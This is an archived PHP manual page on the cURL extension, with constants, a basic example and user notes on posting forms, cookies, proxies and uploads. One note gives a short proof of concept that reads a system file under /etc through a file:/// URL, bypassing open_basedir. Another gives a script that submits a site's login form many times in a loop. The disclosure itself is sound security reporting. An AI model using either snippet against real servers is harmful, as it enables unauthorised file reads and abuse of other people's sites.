CURLE_FUNCTION_NOT_FOUND (integer)

CURLE_ABORTED_BY_CALLBACK (integer)

CURLE_BAD_FUNCTION_ARGUMENT (integer)

CURLE_BAD_CALLING_ORDER (integer)

CURLE_HTTP_PORT_FAILED (integer)

CURLE_BAD_PASSWORD_ENTERED (integer)

CURLE_TOO_MANY_REDIRECTS (integer)

CURLE_UNKNOWN_TELNET_OPTION (integer)

CURLE_TELNET_OPTION_SYNTAX (integer)

CURLE_OBSOLETE (integer)

CURLE_SSL_PEER_CERTIFICATE (integer)

CURLE_GOT_NOTHING (integer)

CURLE_SSL_ENGINE_NOTFOUND (integer)

CURLE_SSL_ENGINE_SETFAILED (integer)

CURLE_SEND_ERROR (integer)

CURLE_RECV_ERROR (integer)

CURLE_SHARE_IN_USE (integer)

CURLE_SSL_CERTPROBLEM (integer)

CURLE_SSL_CIPHER (integer)

CURLE_SSL_CACERT (integer)

CURLE_BAD_CONTENT_ENCODING (integer)

CURLE_LDAP_INVALID_URL (integer)

CURLE_FILESIZE_EXCEEDED (integer)

CURLE_FTP_SSL_FAILED (integer)

CURLFTPAUTH_DEFAULT (integer)

Available since PHP 5.1.0

CURLFTPAUTH_SSL (integer)

Available since PHP 5.1.0

CURLFTPAUTH_TLS (integer)

Available since PHP 5.1.0

CURLPROXY_HTTP (integer)

CURLPROXY_SOCKS5 (integer)

CURL_NETRC_OPTIONAL (integer)

CURL_NETRC_IGNORED (integer)

CURL_NETRC_REQUIRED (integer)

CURL_HTTP_VERSION_NONE (integer)

CURL_HTTP_VERSION_1_0 (integer)

CURL_HTTP_VERSION_1_1 (integer)

CURLM_CALL_MULTI_PERFORM (integer)

CURLM_OK (integer)

CURLM_BAD_HANDLE (integer)

CURLM_BAD_EASY_HANDLE (integer)

CURLM_OUT_OF_MEMORY (integer)

CURLM_INTERNAL_ERROR (integer)

CURLMSG_DONE (integer)

范例

Once you've compiled PHP with CURL support, you can begin using the CURL functions. The basic idea behind the CURL functions is that you initialize a CURL session using the curl_init(), then you can set all your options for the transfer via the curl_setopt(), then you can execute the session with the curl_exec() and then you finish off your session using the curl_close(). Here is an example that uses the CURL functions to fetch the example.com homepage into a file:

例子 1. Using PHP's CURL module to fetch the example.com homepage

<?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
curl_close($ch);
fclose($fp);
?>

目录
curl_close -- Close a CURL session
curl_copy_handle -- Copy a cURL handle along with all of its preferences
curl_errno -- Return the last error number
curl_error -- Return a string containing the last error for the current session
curl_exec -- Perform a CURL session
curl_getinfo -- Get information regarding a specific transfer
curl_init -- Initialize a CURL session
curl_multi_add_handle -- Add a normal cURL handle to a cURL multi handle
curl_multi_close -- Close a set of cURL handles
curl_multi_exec -- Run the sub-connections of the current cURL handle
curl_multi_getcontent -- Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set
curl_multi_info_read -- Get information about the current transfers
curl_multi_init -- Returns a new cURL multi handle
curl_multi_remove_handle -- Remove a multi handle from a set of cURL handles
curl_multi_select -- Get all the sockets associated with the cURL extension, which can then be "selected"
curl_setopt -- Set an option for a CURL transfer
curl_version -- Return the current CURL version

add a note add a note User Contributed Notes
david at neocodesoftware dot com
31-May-2006 08:42
This may be obvious to everybody *except* me, but if you want to use curl to connect via ftp rather than http, then you just need to use "ftp://" in the url specification (I was looking for an use_ftp flag or something).

Use the CURLOPT_USERPWD to login to the ftp site.
Sean Huber
06-May-2006 07:01
<?php
/*
Sean Huber CURL library

This library is a basic implementation of CURL capabilities.
It works in most modern versions of IE and FF.

==================================== USAGE ====================================
It exports the CURL object globally, so set a callback with setCallback($func).
(Use setCallback(array('class_name', 'func_name')) to set a callback as a func
that lies within a different class)
Then use one of the CURL request methods:

get($url);
post($url, $vars); vars is a urlencoded string in query string format.

Your callback function will then be called with 1 argument, the response text.
If a callback is not defined, your request will return the response text.
*/

class CURL {
   var $callback = false;

function setCallback($func_name) {
   $this->callback = $func_name;
}

function doRequest($method, $url, $vars) {
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_HEADER, 1);
   curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
   curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
   if ($method == 'POST') {
       curl_setopt($ch, CURLOPT_POST, 1);
       curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
   }
   $data = curl_exec($ch);
   curl_close($ch);
   if ($data) {
       if ($this->callback)
       {
           $callback = $this->callback;
           $this->callback = false;
           return call_user_func($callback, $data);
       } else {
           return $data;
       }
   } else {
       return curl_error($ch);
   }
}

function get($url) {
   return $this->doRequest('GET', $url, 'NULL');
}

function post($url, $vars) {
   return $this->doRequest('POST', $url, $vars);
}
}
?>
tom at luigjes dot org
29-Mar-2006 06:48
When you try to login to a page using cURL, you could experience problems when you're not providing the right URL.

For instance, if you use the front page to login (http://awebsite.com/) where to form is located, you will receive a http 405 error, instead view the source and see what the form's action is, it might just be: http://awebsite.com/processlogin.php

Took me hours to find this out, hope it can save someone else's time.
richardkmiller AT gmail
03-Mar-2006 08:21
Beware of any extra spaces in the URL.  A trailing space in the URL caused my script to fail with the message "empty reply from server".
heyrocker at yahoo dot com
24-Feb-2006 05:57
The examples below for HTTP file upload work great, but I wanted to be able to post multiple files through HTTP upload using HTML arrays as specified in example 38.3 at

http://us3.php.net/features.file-upload

In this case, you need to set the arrays AND keys in the $post_data, it will not work with just the array names. The following example shows how this works:

<?php

   $post_data = array();

   $post_data['pictures[0]'] = "@cat.jpg";
   $post_data['pictures[1]'] = "@dog.jpg";

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, "http://my.domain.com/my_url.php" );
   curl_setopt($ch, CURLOPT_POST, 1 );
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $postResult = curl_exec($ch);

   if (curl_errno($ch)) {
       print curl_error($ch);
   }
   curl_close($ch);
   print "$postResult";
?>
stevehartken at hotmail dot com
22-Feb-2006 02:40
I had the following experience when harvesting urls with a get variable from a page using cUrl. HTML pages will output ampersands as &amp when the page is read by the curl function.

If you code a script to find all hyperlinks, it will use &amp instead of &, especially using a regular expression search.

It is hard to detect because when you output the url to the browser it renders the html. To fix, add a line to replace the &amp with &.

function processURL($url){
       $url=str_replace('&amp;','&',$url);
       $ch=curl_init();
       curl_setopt($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $xml = curl_exec ($ch);
       curl_close ($ch);
       echo $xml;
   }
}
petelu $ post dot sk
17-Feb-2006 08:19
load https:// or  http://ex.com/exam.php
with  POST  data (name=alex&year=18) and apply COOKIEs

$sessions = curl_init();
curl_setopt($sessions,CURLOPT_URL,'http://ex.com/exam.php');
curl_setopt($sessions, CURLOPT_POST, 1);
curl_setopt($sessions,CURLOPT_POSTFIELDS,'name=alex&year=18');
curl_setopt($sessions,CURLOPT_COOKIEJAR,
dirname(__FILE__).'/cookie.txt');
curl_setopt($sessions,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($sessions, CURLOPT_HEADER , 1);
curl_setopt($sessions, CURLOPT_RETURNTRANSFER,1);
$my_load_page = curl_exec($this->sessions);
amandato (at) gmail (period) com
07-Feb-2006 05:53
To shed some light on some of the numbers trucex at gmail has in his tests, some of the web pages (Yahoo and GoDaddy) downloaded at exceptionally faster speeds than with file_get_contents().  This is simply because CURL accepts (by default) compression protocols such as deflate and gzip.

Most likely GoDaddy.com may be using compression for specific HTTP clients including CURL.  I know for a fact that Yahoo.com and Google.com use gzip compression.  You can test servers for gzip compression here:  http://www.whatsmyip.org/mod_gzip_test/

For the sake of performance, I would recommend the use of CURL.  if performance was not an issue and I wanted to keep my code simple and portable (for PHP servers without the cURL extension) I would use file_get_contents().
luca dot manzo at bbsitalia dot com
02-Feb-2006 07:55
If you're getting trouble with cookie handling in curl:

- curl manages tranparently cookies in a single curl session
- the option
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookieFileName");

makes curl to store the cookies in a file at the and of the curl session

- the option
curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookieFileName");

makes curl to use the given file as source for the cookies to send to the server.

so to handle correctly cookies between different curl session, the you have to do something like this:

       $ch = curl_init();
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_COOKIEJAR, COOKIE_FILE_PATH);
       curl_setopt ($ch, CURLOPT_COOKIEFILE, COOKIE_FILE_PATH);

       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $result = curl_exec ($ch);
       curl_close($ch);
       return $result;

in particular this is NECESSARY if you are using PEAR_SOAP libraries to build a webservice client over https and the remote server need to establish a session cookie. in fact each soap message is sent using a different curl session!!

I hope this can help someone
Luca
administrator at gesoft dot org
24-Dec-2005 12:39
In replay to trucexs post,

You are right in case if we will talk about simple script, like you mention. Now just imagine situation when you will need to create some kind of web based proxy (example gesoft.org)? Can it be done by using simple functions like file_get_contents? The answer will be positive, but at the same time dont forget the time which will be spend to do the same job. Is it worth to spend more time?

Now most important thing in which I will never agree, is it possible to execute more than 1000 threads at the same? Yes and here is an example of it. proxy-list.org. 1000 proxies are rechecked every 10 min. The difference between first proxy testing and last one could be easily calculated and it will be equal something about 46 seconds. It should be mentioned that this testing script not only executed and stopped but it has 30 seconds timeout!!! That means that script can not finish its work 30 seconds earlier.

According my stats, if just simple web page will be opened by curl, there is possibility to execute up to 10k threads at the same time.

One more important parameter is which amount of possible simultaneously threads can be executed depends directly proportionally on hosting quality! Such as, busyness, CPU, RAM, at list internet channel quality and speed.

Regards and good luck in you work

Vitali Simsive
trucex at gmail
19-Dec-2005 11:10
I've seen a few people claim things like curl executing 2000 requests per minute (I didn't believe it, but see godaddy.com in the results below). I've also gotten into 5-6 arguments about the speed of cURL vs. other alternatives.

To stop the argument once and for all, I've created a script that will test cURL retreiving a page 50 times and file_get_contents 50 times, on a variety of different URL's.

For simplicity, I have only retreived the page from the remote site and then went on to the next request. All URL's are using the HTTP protocal; FTP is not tested.

Here are the results of the script on one execution:

Calculating 50 queries to http://www.flickr.com/.
cURL took 9.550734 seconds.
file_get_contents() took 10.878360 seconds.

Calculating 50 queries to http://www.yahoo.com/.
cURL took 4.729566 seconds.
file_get_contents() took 10.443786 seconds.

Calculating 50 queries to http://www.ebay.com/.
cURL took 46.348250 seconds.
file_get_contents() took 52.685604 seconds.

Calculating 50 queries to http://www.godaddy.com/.
cURL took 1.505460 seconds.
file_get_contents() took 37.154304 seconds.

Calculating 50 queries to http://www.php.net/.
cURL took 13.136836 seconds.
file_get_contents() took 17.981879 seconds.

You may test this yourself while the script is up as well. Make a note that the page will take a few minutes to load completely (add all of the result times above and then some).

http://monitor.trucex.com/curltest.php
administrator at gesoft dot org
08-Dec-2005 01:08
Hello everybody,
The solution how to use proxy in correct way with curl was founded. Here is the part of code which was successfully used for checking proxy server and can be used by anybody as an example. During the research one very useful parameter of curl was discovered: CURLOPT_TIMEOUT. If script is using curl object with proxy parameter it is very important to set this parameter. There is possibility that proxy will not replay (die or big latency) until PHP scripts timeout exceed.

   $cUrl = curl_init();
   curl_setopt($cUrl, CURLOPT_URL, $requestUrl);
   curl_setopt($cUrl, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($cUrl, CURLOPT_TIMEOUT, 'timeout_in_seconds');
   curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
   $pageContent = trim(curl_exec($cUrl));
   curl_close($cUrl);

Hope this post will be useful
Sincerely yours
Vitali Simsive
P.S. The example of working script can be seen here http://proxy-list.org/admin/checkproxy.php?proxy=ip:port&timeout=sec
If somebody is interesting to obtain personal copy of checkproxy.php please mail me.
abbyz at online dot ie
03-Dec-2005 08:27
To setup http proxy for connection use CURLPROXY_HTTP.

I found it is something problematic to configure connection based on CURLOPT_PROXY.

curl_setopt ( resource ch, CURLPROXY_HTTP, 'http://host:port');
administrator at gesoft dot org
12-Nov-2005 07:49
To use proxy in cUrl, not only CURLOPT_PROXY parameter should be set but CURLOPT_HTTPPROXYTUNNEL (to 1 or true) and CURLOPT_PROXYUSERPWD (if proxy requires authorization) as it was written in the cUrls official documentation.
Working code should be something like this:

$cUrl = curl_init();
curl_setopt($cUrl, CURLOPT_URL, google.com);
curl_setopt($cUrl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cUrl, CURLOPT_HTTPPROXYTUNNEL, 1);
curl_setopt($this->cUrl, CURLOPT_PROXY, 'proxy_name_or_ip:proxy_prot');
curl_setopt($this->cUrl, CURLOPT_PROXYUSERPWD, 'username:password');
$PageContent = curl_exec($cUrl);
curl_close($cUrl);

To be honest this code does not work on my server. Parameters different variation had tried but in vain, the code still did not work. Finally personal proxy server was bought and checking started again, the result was negative again.

Before bringing up this question here, it was asked on many different PHP forums but in vain, nobody had the answer. There is only one suspicion: there is possibility that there is something wrong with hosting where this code was tested.

To find the right answer the code should be tested in different hosting.
admin at sellchain dot com
17-Oct-2005 10:43
TIP: If you are using fopen and fread to read HTTP or FTP or Remote Files, and experiencing some performance issues such as stalling, slowing down and otherwise, then it's time you learned a thing called cURL.

Performance Comparison:

10 per minute for fopen/fread for 100 HTTP files
2000 per minute for cURL for 2000 HTTP files

cURL should be used for opening HTTP and FTP files, it is EXTREMELY reliable, even when it comes to performance.

I noticed when using too many scripts at the same time to download the data from the site I was harvesting from, fopen and fread would go into deadlock. When using cURL i can open 50 windows, running 10 URL's from each window, and getting the best performance possible.

Just a Tip :)

Also here is some quick code that I use in my scripts now, of course credits go to other PHP'ers who have posted on this page, so I take zero credit.

TO POST TO A PAGE USING values and fields:
<?
$url="http://anything";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, "fieldname=fieldvalue&fieldname=fieldvalue&");
#curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$content = curl_exec ($ch); # This returns HTML
curl_close ($ch);
?>

TO GET A PAGE USING A URL ONLY:
<?
$url="http://anything";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$xml = curl_exec ($ch);
curl_close ($ch);

?>
expert at yahoo dot com
08-Oct-2005 07:26
For more features using JavaScript XML HTTP Request Object components (AJAX), visit this page : http://expert.no-ip.org/?ajax

example.php
===========

<?php

require_once 'Ajax.php';

// add headers
$addheader[] = array("TEST1", "test one");
$addheader[] = array("TEST2", "test two");

// javascript code by http status
$cmd[] = array("alert({ajax})", 200);
$cmd[] = array("alert('Error 404 - File not found !')", 404);
$cmd[] = array("alert('HTTP Status '+{stat}+' !')", "DEFSTAT");

$obj = new Ajax;
// get test.php body source using method GET
$obj->request("test.php");
// set additional header information
$obj->headers($addheader);

?>
<html>
<head>
<?=$obj->head();?>
</head>
<body>
<?=$obj->get($cmd);?>
Example.php
</body>
</html>

test.php
========

<?php

// print header information HTTP_TEST1 & HTTP_TEST2
echo "HTTP_TEST1: ".$_SERVER['HTTP_TEST1']."\n".
     "HTTP_TEST2: ".$_SERVER['HTTP_TEST2'];

?>
ROXORT at TGNOOB dot FR
21-Sep-2005 10:09
/*
  Here is a script that is usefull to :
  - login to a POST form,
  - store a session cookie,
  - download a file once logged in.
*/

// INIT CURL
$ch = curl_init();

// SET URL FOR THE POST FORM LOGIN
curl_setopt($ch, CURLOPT_URL, 'http://www.external-site.com/Members/Login.php');

// ENABLE HTTP POST
curl_setopt ($ch, CURLOPT_POST, 1);

// SET POST PARAMETERS : FORM VALUES FOR EACH FIELD
curl_setopt ($ch, CURLOPT_POSTFIELDS, 'fieldname1=fieldvalue1&fieldname2=fieldvalue2');

// IMITATE CLASSIC BROWSER'S BEHAVIOUR : HANDLE COOKIES
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

# Setting CURLOPT_RETURNTRANSFER variable to 1 will force cURL
# not to print out the results of its query.
# Instead, it will return the results as a string return value
# from curl_exec() instead of the usual true/false.
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

// EXECUTE 1st REQUEST (FORM LOGIN)
$store = curl_exec ($ch);

// SET FILE TO DOWNLOAD
curl_setopt($ch, CURLOPT_URL, 'http://www.external-site.com/Members/Downloads/AnnualReport.pdf');

// EXECUTE 2nd REQUEST (FILE DOWNLOAD)
$content = curl_exec ($ch);

// CLOSE CURL
curl_close ($ch);

/*
  At this point you can do do whatever you want
  with the downloaded file stored in $content :
  display it, save it as file, and so on.
*/
webmaster at oscontract dot com
31-Aug-2005 01:26
Just an addition to ksavage's script. Iam using HSBC API method of integration.

We may not need those array of xml tags.
We may need to check and fetch values of few strings.

<?

print_r($vals);  // print all the arrays.

print_r($vals[29]); // print only the selected array.

//prints something like below.

//Array ( [tag] => ProcReturnMsg [type] => complete [level] => 6 [attributes] => Array ( [DataType] => String ) [value] => Approved )

$val1 = $vals[29];

print_r ($val1[tag]);  // ProcReturnMsg

print_r ($val1[value]); //Approved

?>
imranlink at hotmail dot com
25-Aug-2005 09:05
If you need Specific Help in CURL PHP Please visit the site http://curl.phptrack.com

CURL PHP Forum (http://curl.phptrack.com/forum/index.php) help a lot for beginners students and PHP professional to write Commercial Applications by using PHP with cURL support.
alex at javafaq dot nu
04-Aug-2005 08:00
Hello!

CURL function make security hole at your site....

Just read that PHP cURL functions bypass open_basedir

protection, so users can navigate through

filesystem.
For example, setting "open_basedir" in php.ini to

"/var/www/html" anybody can retrieve "/etc/parla"

using cURL functions.

== Proof of concept (curl.php)

<?php

$ch = curl_init("file:///etc/parla");

$file=curl_exec($ch);

echo $file

?>

More details here:
http://www.securityfocus.com/archive/1/379657/2004-10-26/2004-11-01/0
eric at harmonylinemusic dot com
25-Jun-2005 05:19
After trying both ksavage and mmm's attempts to send HTTP POST's with full xml in them, I was finally successful after using an obscure content-type (multipart/mixed) with a boundary declaration. Incidentally, CURLOPT_CUSTOMREQUEST only accepts method names like 'POST' or 'PUT', not entire headers. You need to use CURLOPT_HTTPHEADER.

<?php
$request = "<xml>...</xml>";

       $header[] = "Host: $host";
       $header[] = "MIME-Version: 1.0";
       $header[] = "Content-type: multipart/mixed; boundary=----doc";
       $header[] = "Accept: text/xml";
       $header[] = "Content-length: ".strlen($request);
       $header[] = "Cache-Control: no-cache";
       $header[] = "Connection: close \r\n";
       $header[] = $request;

       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL,$url);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_TIMEOUT, 4);
       curl_setopt($ch, CURLOPT_CUSTOMREQUEST,'POST');
       curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
?>

On the other side, the server grabs the post data and strips the boundaries.

<?php
         $somecontent = $HTTP_RAW_POST_DATA;
         $somecontent = trim(str_replace('----doc','',$somecontent));

         echo $somecontent;
         //returns <xml>...</xml>
?>

Back at the client, the server's output is taken by curl_exec() and stored in $data

<?php
  $data = curl_exec($ch);
       if (curl_errno($ch)) {
           print curl_error($ch);
       } else {
           curl_close($ch);
           echo $data;
           //returns <xml>...</xml>
       }
?>

Compared to SOAP or REST, this is really an enormous pain, plus the server still has to parse the xml to be able to use it. But sometimes it's unavoidable. Enjoy.

Eric
michaeledwards.com
02-Jun-2005 05:57
Problems can occur if you mix CURLOPT_URL with a 'Host:' header in CURLOPT_HEADERS on redirects because cURL will combine the host you explicitly stated in the 'Host:' header with the host from the Location: header of the redirect response.

In short, don't do this:

$host = "www.dontusehostheaders.com";
$url = "http://$host/";

$headers = array("Host: $host");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

Do this instead:

$host = "www.dontusehostheaders.com";
$url = "http://$host/";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
samlowry at e-baka dot net
14-May-2005 09:09
About CURLOPT_ENCODING:
added in curl in 7.10 - Oct 1 2002
In 7.10.5 - May 19 2003 syntax was chnaged:
"setting CURLOPT_ENCODING to "" automaticly enables all supported encodings"
ksavage at achaean dot com
29-Mar-2005 05:25
Had one heck of a time getting curl to send my XML request.  Tried a lot of different things, FINALLY ended up with this.

Im making a curl request to paymentech / Orbital 's payment gateway.  Essentially, I took the same header i made for the fsockopen() request, and used it for this curl request. (Hostinc company didnt allow fsockopen().

You'll note that this specific gateway requires a custom content type header.  Thats what gave me the most trouble.  When using the CURLOPT_HTTPHEADER, and CURLOPT_POSTFIELDS together, it doesnt matter, it sends the default post header because of CURLOPT_POSTFIELDS.

<?php

$url = "https://your.gateway.url";
$page = "/proccessing_page.cgi";

$post_string = "<YourXML>All XML stuff Here</YourXML>";

       $header  = "POST ".$page." HTTP/1.0 \r\n";
       $header .= "MIME-Version: 1.0 \r\n";
       $header .= "Content-type: application/PTI26 \r\n";
       $header .= "Content-length: ".strlen($post_string)." \r\n";
       $header .= "Content-transfer-encoding: text \r\n";
       $header .= "Request-number: 1 \r\n";
       $header .= "Document-type: Request \r\n";
       $header .= "Interface-Version: Test 1.4 \r\n";
       $header .= "Connection: close \r\n\r\n";
       $header .= $post_string;

       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL,$url);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_TIMEOUT, 4);
       curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

       $data = curl_exec($ch);        if (curl_errno($ch)) {
           print curl_error($ch);
       } else {
           curl_close($ch);
       }

// use XML Parser on $data, and your set!

       $xml_parser = xml_parser_create();
       xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
       xml_parser_set_option($xml_parser,XML_OPTION_SKIP_WHITE,1);
       xml_parse_into_struct($xml_parser, $data, $vals, $index);
       xml_parser_free($xml_parser);

// $vals = array of XML tags.  Go get em!

?>

Worked like a dream for me.  Enjoy!
lukas at MORESPAM dot jhu dot edu
05-Mar-2005 11:29
Here's a function that I needed and couldn't use CURL... it helps you if you want to send the POST data (instead of GET) from one form to 2 or more other PHP scripts.  Trust me... it's a life saver!!

     function HTTP_Post($URL,$data, $referrer="") {

       // parsing the given URL
       $URL_Info=parse_url($URL);

       // Building referrer
       if($referrer=="") // if not given use this script as referrer
         $referrer=$_SERVER["SCRIPT_URI"];

       // making string from $data
       foreach($data as $key=>$value)
         $values[]="$key=".urlencode($value);
       $data_string=implode("&",$values);

       // Find out which port is needed - if not given use standard (=80)
       if(!isset($URL_Info["port"]))
         $URL_Info["port"]=80;

       // building POST-request:
       $request.="POST ".$URL_Info["path"]." HTTP/1.1\n";
       $request.="Host: ".$URL_Info["host"]."\n";
       $request.="Referer: $referer\n";
       $request.="Content-type: application/x-www-form-urlencoded\n";
       $request.="Content-length: ".strlen($data_string)."\n";
       $request.="Connection: close\n";
       $request.="\n";
       $request.=$data_string."\n";

       $fp = fsockopen($URL_Info["host"],$URL_Info["port"]);
       fputs($fp, $request);
       while(!feof($fp)) {
           $result .= fgets($fp, 128);
       }
       fclose($fp);

       return $result;
     }

     $output1=HTTP_Post("http://www.server1.com/script1.php",$_POST);
     $output2=HTTP_Post("http://www.server2.com/script2.php",$_POST);
christian at webaxis dot com dot au
04-Mar-2005 10:38
I use CURL to get history of e-gold payment.

function get_history($egold, $pass, $batch, $counter, $s_date,
$s_month, $s_year, $e_date, $e_month, $e_year, $type){

   $defined_vars = get_defined_vars();

   $_url = 'https://www.e-gold.com/acct/historycsv.asp';

   $params =    "AccountID=$egold&PassPhrase=$pass&" .
       "startmonth=".$s_month."&startday=".
$s_date."&startyear=".$s_year."&" .
       "endmonth=".$e_month."&endday=".
$e_date."&endyear=".$e_year."&";

if($type == "0"){
   $params .=    "paymentsmade=1&";
}
if($type == "1"){
   $params .=    "paymentsreceived=1&";
}

   if(!empty($batch)){
   $params .=    "batchfilter=$batch&";
   }

   if(!empty($counter)){
   $params .=    "counterfilter=$counter&";
   }

   $params .=    "metalfilter=1&";

   $ch = curl_init();

   curl_setopt($ch, CURLOPT_POST,1);
   curl_setopt($ch, CURLOPT_POSTFIELDS,$params);
   curl_setopt($ch, CURLOPT_URL,$_url);
   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);
   curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
   $content = curl_exec ($ch);

   curl_close ($ch);

   return $content;

}
Sebastian [Jegeras {snabel-a} gmail.com]
28-Jan-2005 04:51
I did this script to login to a community X number of times

<?php

$url = [the script that handle logins];

if (empty($_GET[u]) && empty($_GET[p]) && empty($_GET[x])){
       echo "<FORM NAME=make METHOD=get ACTION=".$_SERVER[PHP_SELF].">
   ".$url."?u=<INPUT TYPE=text NAME=u value=nickname>
   &p=<INPUT TYPE=text NAME=p value=password>
   &x=<INPUT TYPE=text NAME=x value=times>
   <input type=submit>";
}else{
   if(!intval($_GET[x])) $_GET[x] = 10;
   $time=time();
   $params = "username=".$_GET[u]."&userpass=".urldecode($_GET[p]);
   $count = login($url,$params);
   echo $count."/".$_GET[x]." logins tog ".(time() - $time)." sekunder";
}

//
function login($url,$params){
   $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
   curl_setopt ($ch, CURLOPT_HEADER, 0);
   curl_setopt($ch, CURLOPT_POST,1);
   curl_setopt($ch, CURLOPT_POSTFIELDS,$params);
   curl_setopt($ch, CURLOPT_URL,$url);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
   curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);

   $cnt=0;
   for($i=0;$i<($_GET[x]);$i++){
       if(curl_exec ($ch))$cnt++;
   }
   curl_close ($ch);
   return $cnt;
}
?>
php dot net at lunchclub dot com
13-Jan-2005 04:34
Additional PHP curl documenation is at:
http://curl.haxx.se/libcurl/php/
josh,endquote,com
25-Dec-2004 12:58
If you're trying to post forms to an ASP.NET server, you will need to include the value of the __VIEWSTATE hidden field in your post. You can get it like this:

$html = curl_exec($ch);
$matches = array();
preg_match('/<input type="hidden" name="__VIEWSTATE" value="([^"]*?)" \/>/', $html, $matches);
$viewstate = $matches[1];
$viewstate = urlencode($viewstate);

That last urlencode() is the bit that drove me crazy for a while.
php at cobalthorizons dot com
14-Nov-2004 02:44
btw, CURLOPT_HTTPHEADER expects an array:

$myHeader = array(
   "MIME-Version: 1.0",
   "Content-type: text/html; charset=iso-8859-1",
   "Content-transfer-encoding: text",
);

curl_setopt($ch, CURLOPT_HTTPHEADER, $myHeader);

(hope this saves someone several hours of...)
mikeb[at]xamo[dot]com
15-Oct-2004 04:11
A note of warning for PHP 5 users: if you try to fetch the CURLINFO_CONTENT_TYPE using curl_getinfo when there is a connect error, you will core dump PHP. I have informed the Curl team about this, so it will hopefully be fixed soon. Just make sure you check for an error before you look for this data.
alidrus at langkah dot com
14-Sep-2004 05:31
In recent versions of php, CURLOPT_MUTE has (probably) been deprecated. Any attempt of using curl_setopt() to set CURLOPT_MUTE will give you a warning like this:

PHP Notice:  Use of undefined constant CURLOPT_MUTE - assumed 'CURLOPT_MUTE' in ....

If you wish tu silence the curl output, use the following instead:

   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

And then,

   $curl_output=curl_exec($ch);

The output of the curl operation will be stored as a string in $curl_output while the operation remains totally silent.
gordon_e_rouse at yahoo dot com dot au
09-Sep-2004 11:08
Multipart form uploads (ie simulating the upload of files from a browser form) is surprisingly easy, yet hard to find information on.... hope this changes that.

$postData = array();

//simulates <input type="file" name="file_name">
$postData[ 'file_name' ] = "@test.txt";
$postData[ 'submit' ] = "UPLOAD";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1 );

//seems no need to tell it enctype='multipart/data' it already knows
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );

$response = curl_exec( $ch );

//where test.txt is a file in the same directory!
rich @ richud dot com
11-Jun-2004 10:12
If you have upgraded to using thread safe PHP (with apache 2 MPM=worker) note that
CURLOPT_COOKIEJAR / CURLOPT_COOKIEFILE both need an absolute path set for the cookie file location and no longer take a relative path.
(As before, also remember to have set correct permissions to allow a writeable cookie file/dir by apache)
[php 4.3.7/apache v2.0.49]
simon [at] vhostdirect [dot] co [dot] uk
04-Mar-2004 08:53
It took me quite some to to figure out how to get Curl (with SSL), OpenSSL and PHP to play nicely together.

After reinstalling MS-VC7 and compiling OpenSSL to finally realise this was'nt nesscary.

If your like me and like *Nix systems more than Windows then you'll most probly have similar problems.

I came across this, on a simple google with the right keywords.

http://www.tonyspencer.com/journal/00000037.htm

I read thru that and found my mistake.

Its just a small list of notes, I found them to be the best I've found on the subject and the most simplist.

Dont forget to add a simple line like this into your scripts to get them working on Win32.

<?php
if($WINDIR) curl_setopt($curl, CURLOPT_CAINFO, "c:\\windows\\ca-bundle.crt");
?>

